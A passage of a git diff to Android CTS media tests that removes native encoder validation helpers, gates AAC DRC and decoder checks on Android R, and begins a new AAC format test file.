- std::shared_ptr<AMediaFormat> config = createMediaFormat(
- mime, w, h, kColorFormatSurface,
- getOptimalBitrate(w, h),
- fps,
- hasDynamicSyncRequest ? numFrames / fps : 1 /*sec*/);
-
- if (hasDynamicBitrateChanges) {
- AMediaFormat_setInt32(config.get(), TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE, kBitrateModeConstant);
- }
-
- std::shared_ptr<Source> src = createDecoderSource(
- w, h, kColorFormatSurface, fps,
- true /*looping*/,
- hasDynamicSyncRequest | hasDynamicBitrateChanges, /*regulate feeding rate*/
- fd, offset, fileSize);
-
- std::unique_ptr<RunConfig> runConfig = std::make_unique<RunConfig>(numFrames, config);
- for (const DParamRef &d : dynParams) {
- runConfig->add(d);
- }
-
- std::string debugOutputFileName = "";
- std::shared_ptr<NativeEncoder> enc(new NativeEncoder(debugOutputFileName));
-
- if (usePersistentSurface) {
- std::shared_ptr<ANativeWindow> persistentSurface = enc->getPersistentSurface();
- enc->prepare(std::move(runConfig), persistentSurface);
- src->prepare(nullptr /*bufferListener*/, persistentSurface);
- } else {
- enc->prepare(std::move(runConfig));
- src->prepare(nullptr /*bufferListener*/, enc->getSurface());
- }
-
- src->start();
- enc->start();
-
- enc->waitForCompletion();
-
- Status status = enc->validate();
-
- src->stop();
- enc->reset();
-
- return status == OK;
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodeSurfaceNative(
- JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
- jstring jmime, int w, int h) {
-
- std::vector<DParamRef> dynParams;
- return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
- dynParams, 300, false /*usePersistentSurface*/);
-
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodePersistentSurfaceNative(
- JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
- jstring jmime, int w, int h) {
-
- std::vector<DParamRef> dynParams;
- return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
- dynParams, 300, true /*usePersistentSurface*/);
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodeSurfaceDynamicSyncFrameNative(
- JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
- jstring jmime, int w, int h) {
-
- std::vector<DParamRef> dynParams;
- for (int32_t frameNum : {40, 75, 160, 180, 250}) {
- dynParams.push_back(DynamicParam::newRequestSync(frameNum));
- }
-
- return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
- dynParams, 300, false /*usePersistentSurface*/);
-}
-
-extern "C" jboolean Java_android_media_cts_NativeEncoderTest_testEncodeSurfaceDynamicBitrateNative(
- JNIEnv *env, jclass /*clazz*/, int fd, jlong offset, jlong fileSize,
- jstring jmime, int w, int h) {
-
- int32_t bitrate = getOptimalBitrate(w, h);
- std::vector<DParamRef> dynParams;
-
- dynParams.push_back(DynamicParam::newBitRate(100, bitrate/2));
- dynParams.push_back(DynamicParam::newBitRate(200, 3*bitrate/4));
- dynParams.push_back(DynamicParam::newBitRate(300, bitrate));
-
- return runNativeEncoderTest(env, fd, offset, fileSize, jmime, w, h,
- dynParams, 400, false /*usePersistentSurface*/);
-}
-
diff --git a/tests/tests/media/libmediandkjni/native_media_utils.cpp b/tests/tests/media/libmediandkjni/native_media_utils.cpp
index 7596cbb..21b7f7f 100644
--- a/tests/tests/media/libmediandkjni/native_media_utils.cpp
+++ b/tests/tests/media/libmediandkjni/native_media_utils.cpp
@@ -27,11 +27,6 @@
namespace Utils {
-const char * TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME = "request-sync";
-const char * TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE = "video-bitrate";
-
-const char * TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE = "bitrate-mode";
-
Status Thread::startThread() {
assert(mHandle == 0);
if (pthread_create(&mHandle, nullptr, Thread::thread_wrapper, this) != 0) {
@@ -56,273 +51,4 @@
return nullptr;
}
-int32_t RunConfig::dynamicParamsOfKind(
- const char *key, std::vector<DParamRef>& paramsList) const {
- paramsList.clear();
- for (const DParamRef& d : mParams) {
- assert(d->param() != nullptr);
-
- if (!strncmp(key, TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME,
- strlen(TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME))) {
- int32_t tmp;
- if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, &tmp)) {
- paramsList.push_back(d);
- }
-
- } else if (!strncmp(key, TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE,
- strlen(TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE))) {
- int32_t tmp;
- if (AMediaFormat_getInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, &tmp)) {
- paramsList.push_back(d);
- }
- }
- }
- return (int32_t)paramsList.size();
-}
-
-static bool comparePTS(const AMediaCodecBufferInfo& l, const AMediaCodecBufferInfo& r) {
- return l.presentationTimeUs < r.presentationTimeUs;
-}
-
-int32_t Stats::getBitrateAverage(int32_t frameNumFrom, int32_t frameNumTo) const {
- int64_t sum = 0;
- assert(frameNumFrom >= 0 && frameNumTo < mInfos.size());
- for (int i = frameNumFrom; i < frameNumTo; ++i) {
- sum += mInfos[i].size;
- }
- sum *= 8; // kB -> kb
-
- auto from = mInfos.begin() + frameNumFrom;
- auto to = mInfos.begin() + frameNumTo;
- int64_t duration = (*std::max_element(from, to, comparePTS)).presentationTimeUs
- - (*std::min_element(from, to, comparePTS)).presentationTimeUs;
- if (duration <= 0) {
- return 0;
- }
-
- int64_t avg = (sum * 1e6) / duration;
- return (int32_t)avg;
-}
-
-int32_t Stats::getBitratePeak(
- int32_t frameNumFrom, int32_t frameNumTo, int32_t windowSize) const {
- int64_t sum = 0;
- int64_t maxSum = 0;
- assert(frameNumFrom >= 0 && frameNumTo < mInfos.size());
- assert(windowSize < (frameNumTo - frameNumFrom));
-
- for (int i = frameNumFrom; i < frameNumTo; ++i) {
- sum += mInfos[i].size;
- if (i >= windowSize) {
- sum -= mInfos[i - windowSize].size;
- }
- maxSum = sum > maxSum ? sum : maxSum;
- }
- maxSum *= 8; // kB -> kb
- int64_t duration = mInfos[frameNumTo].presentationTimeUs -
- mInfos[frameNumFrom].presentationTimeUs;
- if (duration <= 0) {
- return 0;
- }
-
- int64_t peak = (maxSum * 1e6) / duration;
- return (int32_t)peak;
-}
-
-int32_t Stats::getSyncFrameNext(int32_t frameNumWhence) const {
- assert(frameNumWhence >= 0 && frameNumWhence < mInfos.size());
- int i = frameNumWhence;
- for (; i < (int)mInfos.size(); ++i) {
- if (mInfos[i].flags & TBD_AMEDIACODEC_BUFFER_FLAG_KEY_FRAME) {
- return i;
- }
- }
- return -1;
-}
-
-Status Validator::checkOverallBitrate(const Stats &stats, const RunConfig& config) {
- // skip this check if bitrate was updated dynamically
- ALOGV("DEBUG: checkOverallBitrate");
- std::vector<DParamRef> tmp;
- if (config.dynamicParamsOfKind(TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, tmp) > 0) {
- ALOGV("DEBUG: checkOverallBitrate: dynamic bitrate enabled");
- return OK;
- }
-
- int32_t bitrate = 0;
- if (!AMediaFormat_getInt32(config.format(), AMEDIAFORMAT_KEY_BIT_RATE, &bitrate)) {
- // should not happen
- ALOGV("DEBUG: checkOverallBitrate: bitrate was not configured !");
- return FAIL;
- }
- assert(bitrate > 0);
-
- int32_t avgBitrate = stats.getBitrateAverage(0, config.frameCount() - 1);
- float deviation = (avgBitrate - bitrate) * 100 / bitrate;
- ALOGI("RESULT: Bitrate expected=%d Achieved=%d Deviation=%.2g%%",
- bitrate, avgBitrate, deviation);
-
- if (fabs(deviation) > kBitrateDeviationPercentMax) {
- ALOGI("RESULT: ERROR: bitrate deviation(%.2g%%) exceeds threshold (+/-%.2g%%)",
- deviation, kBitrateDeviationPercentMax);
- return FAIL;
- }
-
- // TODO
- // if bitrate mode was set to CBR, check for peak-bitrate deviation (+/-20%?)
- return OK;
-}
-
-Status Validator::checkFramerate(const Stats&, const RunConfig&) {
- // TODO - tricky if frames are reordered
- return OK;
-}
-
-Status Validator::checkIntraPeriod(const Stats& stats, const RunConfig& config) {
- float framerate;
- if (!AMediaFormat_getFloat(config.format(), AMEDIAFORMAT_KEY_FRAME_RATE, &framerate)) {
- // should not happen
- ALOGV("DEBUG: checkIntraPeriod: framerate was not configured ! : %s",
- AMediaFormat_toString(config.format()));
- return OK;
- }
-
- int32_t intraPeriod;
- if (!AMediaFormat_getInt32(config.format(), AMEDIAFORMAT_KEY_I_FRAME_INTERVAL, &intraPeriod)) {
- // should not happen
- ALOGV("DEBUG: checkIntraPeriod: I-period was not configured !");
- return OK;
- }
-
- // TODO: handle special cases
- // intraPeriod = 0 => all I
- // intraPeriod < 0 => infinite GOP
- if (intraPeriod <= 0) {
- return OK;
- }
-
- int32_t iInterval = framerate * intraPeriod;
-
- if (iInterval >= stats.frameCount()) {
- ALOGV("RESULT: Intra-period %d exceeds frame-count %d ..skipping",
- iInterval, stats.frameCount());
- return OK;
- }
-
- int32_t numGopFound = 0;
- int32_t sumGopDistance = 0;
- int32_t lastKeyLocation = stats.getSyncFrameNext(0);
- for (;;) {
- int32_t nextKeyLocation = stats.getSyncFrameNext(lastKeyLocation + iInterval - kSyncFrameDeviationFramesMax);
- if (nextKeyLocation < 0) {
- break;
- }
- if (abs(nextKeyLocation - lastKeyLocation - iInterval) > kSyncFrameDeviationFramesMax) {
- ALOGE("RESULT: ERROR: Intra period at frame %d is %d (expected %d +/-%d)",
- lastKeyLocation, nextKeyLocation - lastKeyLocation, iInterval,
- kSyncFrameDeviationFramesMax);
- return FAIL;
- }
- ++numGopFound;
- sumGopDistance += (nextKeyLocation - lastKeyLocation);
- lastKeyLocation = nextKeyLocation;
- }
-
- if (numGopFound) {
- ALOGI("RESULT: Intra-period: configured=%d frames (%d sec). Actual=%d frames",
- iInterval, intraPeriod, sumGopDistance / numGopFound);
- }
-
- return OK;
-}
-
-Status Validator::checkDynamicKeyFrames(const Stats& stats, const RunConfig& config) {
- ALOGV("DEBUG: checkDynamicKeyFrames");
- std::vector<DParamRef> keyRequests;
- if (config.dynamicParamsOfKind(TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, keyRequests) <= 0) {
- ALOGV("DEBUG: dynamic key-frames were not requested");
- return OK;
- }
-
- std::string debugStr = "";
- bool fail = false;
- for (DParamRef &d : keyRequests) {
- int32_t generatedKeyLocation = stats.getSyncFrameNext(d->frameNum());
- if (generatedKeyLocation - d->frameNum() > kSyncFrameDeviationFramesMax) {
- ALOGI("RESULT: ERROR: Dynamic sync-frame requested at frame=%d, got at frame=%d",
- d->frameNum(), generatedKeyLocation);
- fail = true;
- }
- char tmp[128];
- snprintf(tmp, 128, " %d/%d,", generatedKeyLocation, d->frameNum());
- debugStr = debugStr + std::string(tmp);
- }
- ALOGI("RESULT: Dynamic Key-frame locations - actual/requested :");
- ALOGI("RESULT: %s", debugStr.c_str());
-
- return fail ? FAIL : OK;
-}
-
-Status Validator::checkDynamicBitrate(const Stats& stats, const RunConfig& config) {
- // Checking bitrate convergence between two updates makes sense if requested along with CBR
- // check if CBR mode has been set. If not, simply pass
- int32_t bitrateMode;
- if (!AMediaFormat_getInt32(config.format(), TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE,
- &bitrateMode) || bitrateMode != kBitrateModeConstant) {
- ALOGV("DEBUG: checkDynamicBitrate: skipping since CBR not requested");
- return OK; //skip
- }
-
- // check if dynamic bitrates were requested
- std::vector<DParamRef> bitrateUpdates;
- if (config.dynamicParamsOfKind(TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, bitrateUpdates) <= 0) {
- ALOGV("DEBUG: checkDynamicBitrate: dynamic bitrates not requested !");
- return OK; //skip
- }
- int32_t bitrate = 0;
- if (!AMediaFormat_getInt32(config.format(), AMEDIAFORMAT_KEY_BIT_RATE, &bitrate)) {
- // should not happen
- ALOGV("DEBUG: checkDynamicBitrate: bitrate was not configured !");
- return OK; //skip
- }
- assert(bitrate > 0);
-
- std::string debugStr = "";
- int32_t lastBitrateUpdateFrameNum = 0;
- int32_t lastBitrate = bitrate;
- bool fail = false;
-
- for (DParamRef &d : bitrateUpdates) {
- int32_t updatedBitrate = 0;
- if (!AMediaFormat_getInt32(
- d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, &updatedBitrate)) {
- ALOGE("BUG: expected dynamic bitrate");
- continue;
- }
- assert(updatedBitrate > 0);
-
- int32_t lastAverage = stats.getBitrateAverage(lastBitrateUpdateFrameNum, d->frameNum() - 1);
- float deviation = (lastAverage - lastBitrate) * 100 / lastBitrate;
-
- if (fabs(deviation) > kBitrateDeviationPercentMax) {
- ALOGI("RESULT: ERROR: dynamic bitrate deviation(%.2g%%) exceeds threshold (+/-%.2g%%)",
- deviation, kBitrateDeviationPercentMax);
- fail |= true;
- }
-
- char tmp[128];
- snprintf(tmp, 128, " [%d - %d] %d/%d,",
- lastBitrateUpdateFrameNum, d->frameNum() - 1, lastAverage, lastBitrate);
- debugStr = debugStr + std::string(tmp);
- lastBitrate = updatedBitrate;
- lastBitrateUpdateFrameNum = d->frameNum();
- }
-
- ALOGI("RESULT: Dynamic Bitrates : [from-frame - to-frame] actual/expected :");
- ALOGI("RESULT: %s", debugStr.c_str());
-
- return fail ? FAIL : OK;
-}
-
-
}; // namespace Utils
diff --git a/tests/tests/media/libmediandkjni/native_media_utils.h b/tests/tests/media/libmediandkjni/native_media_utils.h
index 8a1751e..e5842f7 100644
--- a/tests/tests/media/libmediandkjni/native_media_utils.h
+++ b/tests/tests/media/libmediandkjni/native_media_utils.h
@@ -32,20 +32,6 @@
namespace Utils {
-// constants not defined in NDK api
-extern const char * TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME;
-extern const char * TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE;
-static const uint32_t TBD_AMEDIACODEC_BUFFER_FLAG_KEY_FRAME = 0x1;
-
-extern const char * TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE;
-static const int32_t kBitrateModeConstant = 2;
-static const int32_t kColorFormatSurface = 0x7f000789;
-
-// tolerances
-// Keep in sync with the variation at src/android/media/cts/VideoCodecTest.java
-static const float kBitrateDeviationPercentMax = 20.0;
-static const int32_t kSyncFrameDeviationFramesMax = 5;
-
enum Status : int32_t {
FAIL = -1,
OK = 0,
@@ -92,117 +78,6 @@
ANativeWindow_release(_a);
}
-/*
- * Dynamic paramater that will be applied via AMediaCodec_setParamater(..)
- * during the encoding process, at the given frame number
- */
-struct DynamicParam {
- DynamicParam() = delete;
- DynamicParam(const DynamicParam&) = delete;
- ~DynamicParam() = default;
-
- static std::shared_ptr<DynamicParam> newBitRate(int atFrame, int32_t bitrate) {
- DynamicParam *d = new DynamicParam(atFrame);
- AMediaFormat_setInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_VIDEO_BITRATE, bitrate);
- return std::shared_ptr<DynamicParam>(d);
- }
- static std::shared_ptr<DynamicParam> newRequestSync(int atFrame) {
- DynamicParam *d = new DynamicParam(atFrame);
- AMediaFormat_setInt32(d->param(), TBD_AMEDIACODEC_PARAMETER_KEY_REQUEST_SYNC_FRAME, 0 /*ignore*/);
- return std::shared_ptr<DynamicParam>(d);
- }
-
- inline int frameNum() const {
- return mFrameNum;
- }
- inline AMediaFormat *param() const {
- return mParam.get();
- }
-
-private:
- DynamicParam(int _at)
- : mFrameNum(_at) {
- mParam = std::shared_ptr<AMediaFormat>(AMediaFormat_new(), deleter_AMediaFormat);
- }
-
- int mFrameNum;
- std::shared_ptr<AMediaFormat> mParam;
-};
-
-using DParamRef = std::shared_ptr<DynamicParam>;
-
-/*
- * Configuration to the encoder (static + dynamic)
- */
-struct RunConfig {
- RunConfig(const RunConfig&) = delete;
- RunConfig(int32_t numFramesToEncode, std::shared_ptr<AMediaFormat> staticParams)
- : mNumFramesToEncode (numFramesToEncode),
- mStaticParams(staticParams) {
- }
- void add(const DParamRef& p) {
- mParams.push_back(p);
- }
-
- AMediaFormat* format() const {
- return mStaticParams.get();
- }
- const std::vector<DParamRef>& dynamicParams() const {
- return mParams;
- }
- int32_t frameCount() const {
- return mNumFramesToEncode;
- }
- int32_t dynamicParamsOfKind(
- const char *key, std::vector<DParamRef>& ) const;
-
-private:
- int32_t mNumFramesToEncode;
- std::vector<DParamRef> mParams;
- std::shared_ptr<AMediaFormat> mStaticParams;
-};
-
-/*
- * Encoded output statistics
- * provides helpers to compute windowed average of bitrate and search for I-frames
- */
-struct Stats {
- Stats() = default;
- Stats(const Stats&) = delete;
- void add(const AMediaCodecBufferInfo &info) {
- mInfos.push_back(info);
- }
- void setOutputFormat(std::shared_ptr<AMediaFormat> fmt) {
- mOutputFormat = fmt;
- }
- int32_t frameCount() const {
- return (int32_t)mInfos.size();
- }
- const std::vector<AMediaCodecBufferInfo>& infos() const {
- return mInfos;
- }
-
- int32_t getBitrateAverage(int32_t frameNumFrom, int32_t frameNumTo) const;
- int32_t getBitratePeak(int32_t frameNumFrom, int32_t frameNumTo, int32_t windowSize) const;
- int32_t getSyncFrameNext(int32_t frameNumWhence) const;
-
-private:
- std::vector<AMediaCodecBufferInfo> mInfos;
- std::shared_ptr<AMediaFormat> mOutputFormat;
-};
-
-/*
- * Helpers to validate output (Stats) based on expected settings (RunConfig)
- * Check for validity of both static and dynamic settings
- */
-struct Validator {
- static Status checkOverallBitrate(const Stats&, const RunConfig&);
- static Status checkFramerate(const Stats&, const RunConfig&);
- static Status checkIntraPeriod(const Stats&, const RunConfig&);
- static Status checkDynamicKeyFrames(const Stats&, const RunConfig&);
- static Status checkDynamicBitrate(const Stats&, const RunConfig&);
-};
-
}; //namespace Utils
#endif // _NATIVE_MEDIA_UTILS_H_
diff --git a/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a b/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a
new file mode 100644
index 0000000..c0d5056
--- /dev/null
+++ b/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/CodecState.java b/tests/tests/media/src/android/media/cts/CodecState.java
index 2384704..8a8f35d 100644
--- a/tests/tests/media/src/android/media/cts/CodecState.java
+++ b/tests/tests/media/src/android/media/cts/CodecState.java
@@ -20,6 +20,7 @@
import android.media.MediaExtractor;
import android.media.MediaFormat;
import android.os.Handler;
+import android.os.Looper;
import android.util.Log;
import android.view.Surface;
import java.nio.ByteBuffer;
@@ -32,7 +33,8 @@
public class CodecState {
private static final String TAG = CodecState.class.getSimpleName();
- private boolean mSawInputEOS, mSawOutputEOS;
+ private boolean mSawInputEOS;
+ private volatile boolean mSawOutputEOS;
private boolean mLimitQueueDepth;
private boolean mTunneled;
private boolean mIsAudio;
@@ -43,7 +45,7 @@
private LinkedList<Integer> mAvailableInputBufferIndices;
private LinkedList<Integer> mAvailableOutputBufferIndices;
private LinkedList<MediaCodec.BufferInfo> mAvailableOutputBufferInfos;
- private long mPresentationTimeUs;
+ private volatile long mPresentationTimeUs;
private long mSampleBaseTimeUs;
private MediaCodec mCodec;
private MediaTimeProvider mMediaTimeProvider;
@@ -51,7 +53,7 @@
private MediaFormat mFormat;
private MediaFormat mOutputFormat;
private NonBlockingAudioTrack mAudioTrack;
- private OnFrameRenderedListener mOnFrameRenderedListener;
+ private volatile OnFrameRenderedListener mOnFrameRenderedListener;
/**
* Manages audio and video playback using MediaCodec and AudioTrack.
@@ -89,7 +91,8 @@
if (mTunneled && !mIsAudio) {
mOnFrameRenderedListener = new OnFrameRenderedListener();
- codec.setOnFrameRenderedListener(mOnFrameRenderedListener, new Handler());
+ codec.setOnFrameRenderedListener(mOnFrameRenderedListener,
+ new Handler(Looper.getMainLooper()));
}
}
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 3541454..8c90275 100644
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -35,6 +35,7 @@
import android.media.MediaCodecInfo.CodecCapabilities;
import android.media.MediaExtractor;
import android.media.MediaFormat;
+import android.os.Build;
import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.view.Display;
@@ -42,6 +43,7 @@
import android.net.Uri;
import android.os.Bundle;
+import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.DynamicConfigDeviceSide;
@@ -50,6 +52,8 @@
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
+import androidx.test.filters.SdkSuppress;
+
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
@@ -70,6 +74,7 @@
public class DecoderTest extends MediaPlayerTestBase {
private static final String TAG = "DecoderTest";
private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
+ private static boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
private static final int RESET_MODE_NONE = 0;
private static final int RESET_MODE_RECONFIGURE = 1;
@@ -274,6 +279,8 @@
private void verifyChannelsAndRates(String[] mimetypes, int[] sampleRates,
int[] channelMasks) throws Exception {
+ if (!MediaUtils.check(mIsAtLeastR, "test invalid before Android 11")) return;
+
for (String mimetype : mimetypes) {
// ensure we find a codec for all listed mime/channel/rate combinations
MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
@@ -1691,8 +1698,12 @@
}
private List<String> codecsFor(int resource) throws IOException {
+ return codecsFor(resource, mResources);
+ }
+
+ protected static List<String> codecsFor(int resource, Resources resources) throws IOException {
MediaExtractor ex = new MediaExtractor();
- AssetFileDescriptor fd = mResources.openRawResourceFd(resource);
+ AssetFileDescriptor fd = resources.openRawResourceFd(resource);
try {
ex.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
} finally {
@@ -3575,6 +3586,7 @@
return pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
}
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
public void testLowLatencyVp9At1280x720() throws Exception {
testLowLatencyVideo(
R.raw.video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz, 300,
@@ -3584,6 +3596,7 @@
true /* useNdk */);
}
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
public void testLowLatencyVp9At1920x1080() throws Exception {
testLowLatencyVideo(
R.raw.bbb_s2_1920x1080_webm_vp9_0p41_10mbps_60fps_vorbis_6ch_384kbps_22050hz, 300,
@@ -3593,6 +3606,7 @@
true /* useNdk */);
}
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.R)
public void testLowLatencyVp9At3840x2160() throws Exception {
testLowLatencyVideo(
R.raw.bbb_s2_3840x2160_webm_vp9_0p51_20mbps_60fps_vorbis_6ch_384kbps_32000hz, 300,
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
index c58f580..0263601 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
@@ -29,11 +29,15 @@
import android.media.MediaFormat;
import android.media.cts.DecoderTest.AudioParameter;
import android.media.cts.R;
+import android.os.Build;
import android.util.Log;
import android.os.Bundle;
import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
import org.junit.Before;
import org.junit.Test;
@@ -46,6 +50,9 @@
public class DecoderTestAacDrc {
private static final String TAG = "DecoderTestAacDrc";
+ private static final boolean sIsAndroidRAndAbove =
+ ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
private Resources mResources;
@Before
@@ -145,6 +152,8 @@
*/
@Test
public void testDecodeAacInternalClipM4a() throws Exception {
+ if (!MediaUtils.check(sIsAndroidRAndAbove, "Internal clipping fixed in Android R"))
+ return;
AudioParameter decParams = new AudioParameter();
short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot2_internalclip_mp4,
-1, null, null, null /*decoderName: use default decoder*/);
@@ -202,17 +211,20 @@
throw new RuntimeException(e);
}
- // test loudness normalization off
- // decoderTargetLevel = -1 --> target output level = -19.0 dBFs (program loudness of
- // waveform)
- // normFactor = 1/(10^(3/10)) = 0.5f
- // where 3 is the difference between the default level (-16), and -19 for this test
- try {
- checkUsacLoudness(-1, 0, (float)(1.0f/Math.pow(10.0f, 3.0f/10.0f)), aacDecName);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness attenuation failed for "
- + aacDecName);
- throw new RuntimeException(e);
+ if (sIsAndroidRAndAbove) {
+ // test loudness normalization off
+ // decoderTargetLevel = -1 --> target output level = -19.0 dBFs (program loudness of
+ // waveform)
+ // normFactor = 1/(10^(3/10)) = 0.5f
+ // where 3 is the difference between the default level (-16), and -19 for this test
+ try {
+ checkUsacLoudness(-1, 0, (float) (1.0f / Math.pow(10.0f, 3.0f / 10.0f)),
+ aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness attenuation failed for "
+ + aacDecName);
+ throw new RuntimeException(e);
+ }
}
}
}
@@ -412,6 +424,10 @@
private void checkUsacLoudness(int decoderTargetLevel, int heavy, float normFactor,
String decoderName) throws Exception {
for (boolean runtimeChange : new boolean[] {false, true}) {
+ if (runtimeChange && !sIsAndroidRAndAbove) {
+ // changing decoder configuration after it has been initialized requires R and above
+ continue;
+ }
AudioParameter decParams = new AudioParameter();
DrcParams drcParams_def = new DrcParams(127, 127, DEFAULT_DECODER_TARGET_LEVEL, 1);
DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, heavy);
@@ -564,16 +580,14 @@
Log.v(localTag, "configuring with " + configFormat);
codec.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
- if (drcParams != null) {
+ if (drcParams != null && sIsAndroidRAndAbove) { // querying output format requires R
if(!runtimeChange) {
// check if MediaCodec gives back correct drc parameters
if (drcParams.mDecoderTargetLevel != 0) {
final int targetLevelFromCodec = codec.getOutputFormat()
.getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
- if (false) { // TODO disabled until b/157773721 fixed
- if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
- fail("Drc Target Reference Level received from MediaCodec is not the Target Reference Level set");
- }
+ if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
+ fail("DRC Target Ref Level received from MediaCodec is not the level set");
}
}
}
@@ -690,21 +704,29 @@
fail("decoder stopped outputing data");
}
- // check if MediaCodec gives back correct drc parameters
- if (drcParams != null) {
+ // check if MediaCodec gives back correct drc parameters (R and above)
+ if (drcParams != null && sIsAndroidRAndAbove) {
if (drcParams.mDecoderTargetLevel != 0) {
final int targetLevelFromCodec = codec.getOutputFormat()
.getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
- if (false) { // TODO disabled until b/157773721 fixed
- if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
- fail("Drc Target Reference Level received from MediaCodec is not the Target Reference Level set");
- }
+ if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
+ fail("DRC Target Ref Level received from MediaCodec is not the level set");
}
}
+
+ final MediaFormat outputFormat = codec.getOutputFormat();
+ final int cutFromCodec = outputFormat.getInteger(
+ MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR);
+ assertEquals("Attenuation factor received from MediaCodec differs from set:",
+ drcParams.mCut, cutFromCodec);
+ final int boostFromCodec = outputFormat.getInteger(
+ MediaFormat.KEY_AAC_DRC_BOOST_FACTOR);
+ assertEquals("Boost factor received from MediaCodec differs from set:",
+ drcParams.mBoost, boostFromCodec);
}
// expectedOutputLoudness == -2 indicates that output loudness is not tested
- if (expectedOutputLoudness != -2) {
+ if (expectedOutputLoudness != -2 && sIsAndroidRAndAbove) {
final int outputLoudnessFromCodec = codec.getOutputFormat()
.getInteger(MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
if (outputLoudnessFromCodec != expectedOutputLoudness) {
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacFormat.java b/tests/tests/media/src/android/media/cts/DecoderTestAacFormat.java
new file mode 100755
index 0000000..4e9c43e
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/DecoderTestAacFormat.java
@@ -0,0 +1,232 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.Resources;
